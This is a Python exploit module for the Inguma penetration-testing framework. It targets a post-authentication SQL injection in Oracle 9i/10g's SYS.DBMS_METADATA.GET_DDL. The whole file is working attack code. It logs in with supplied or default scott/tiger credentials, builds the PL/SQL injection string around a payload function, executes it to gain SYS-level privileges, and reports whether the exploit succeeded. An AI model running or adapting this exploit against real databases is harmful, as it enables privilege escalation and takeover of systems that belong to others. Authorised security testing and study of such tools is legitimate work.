#!/usr/bin/python

#
# Exploit for Oracle9i and Oracle10g prior to CPU Apr 2005
#
# Privileges needed:
#
#	- CREATE SESSION
#	- CREATE PROCEDURE
#
# Copyright (c) 2006, 2007 Joxean Koret
#

import os
import sys
import time
import socket

import cx_Oracle

from lib import oracleids
from lib import liboracleexploit

from lib.libexploit import CIngumaModule

name = "orainject6"
brief_description = "Oracle 9i/10g SYS.DBMS_METADATA.GET_DDL SQL Injection"
type = "exploit"
affects = ["Oracle 9i and 10g"]
description = """
The procedure SYS.DBMS_METADATA.GET_DDL of Oracle 10g R1 and R2 is vulnerable to a 
post-auth SQL Injection which allows the execution of arbitrary SQL code with SYS
privileges.
"""

patch = "Fixed in 10g with CPU Apr. 2005"
category = "exploit"
discoverer = "Too many to enumerate... Reported by NGS Software, I think..."
author = "Joxean Koret <joxeankoret@yahoo.es>"

data ="""
DECLARE
  V_L CLOB;
BEGIN
    V_L := SYS.DBMS_METADATA.GET_DDL('''||%FUNCTION%||''','');
END;
"""

globals = ["sid", ]

class CDbmsMetadata(CIngumaModule):

    target = ""
    waitTime = 0
    timeout = 1
    exploitType = 2
    wizard = False
    services = {}
    results = {}
    user = ""
    password = ""
    covert = 0
    sid = ""
    function = "f1"
    payload = None
    command = None
    connection = None

    def connect(self):

        link    = "%s/%s@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%d)))"
        link += "(CONNECT_DATA=(SERVICE_NAME=%s)))"
        link    = link % (self.user, self.password, self.target, self.port, self.sid)

        self.connection = cx_Oracle.connect(link)
        self.connection.rollback()
        self.connection.commit()

    def readConfig(self):
        if self.user != "":
            pass # Username specified
        elif self.dict.has_key("user"):
            self.user = self.dict["user"]
        else:
            print "[!] Using default username 'scott'"
            self.user = "scott"

        if self.password != "":
            pass # Password specified
        elif self.dict.has_key("password"):
            self.password = self.dict["password"]
        else:
            print "[!] Using default password 'tiger'"
            self.password = "tiger"

        if self.sid != "":
            pass # Ignore, specified
        elif self.dict.has_key("sid"):
            self.sid = self.dict["sid"]
        else:
            print "[!] Using sid 'orcl'"
            sid = "orcl"
            self.sid = sid

    def run(self):
        self.readConfig()

        # Try connecting to the instance
        print "[+] Connecting to the instance %s/%s@%s:%s/%s" % (self.user, self.password, self.target, str(self.port), self.sid)
        self.connect()

        print "[+] Selecting payload ... "
        payload = liboracleexploit.getPayload(self.dict, self.payload)
        payload.user = self.user
        payload.function = self.function
        payload.connection = self.connection

        if self.command:
            payload.command = ""

        print "[+] Covert level is %s" % str(self.covert)
        payload.covert = self.covert
        payload.run()

        theCommand = ()
        theCommand += (data.replace("%FUNCTION%", payload.function), )

        cursor = self.connection.cursor()

        for command in theCommand:
            print "[+] Running command ... "
            print command

            try:
                cursor.execute(command)
                
                for x in cursor.fetchall():
                    pass
            except:
                print "[!] Exception:"
                print sys.exc_info()[1]

        if payload.verify(self.connection):
            print "[+] Exploit works with selected payload."
            return True
        else:
            print "[!] Exploit doesn't work with selected payload :("

        return False

    def printSummary(self):
        print 

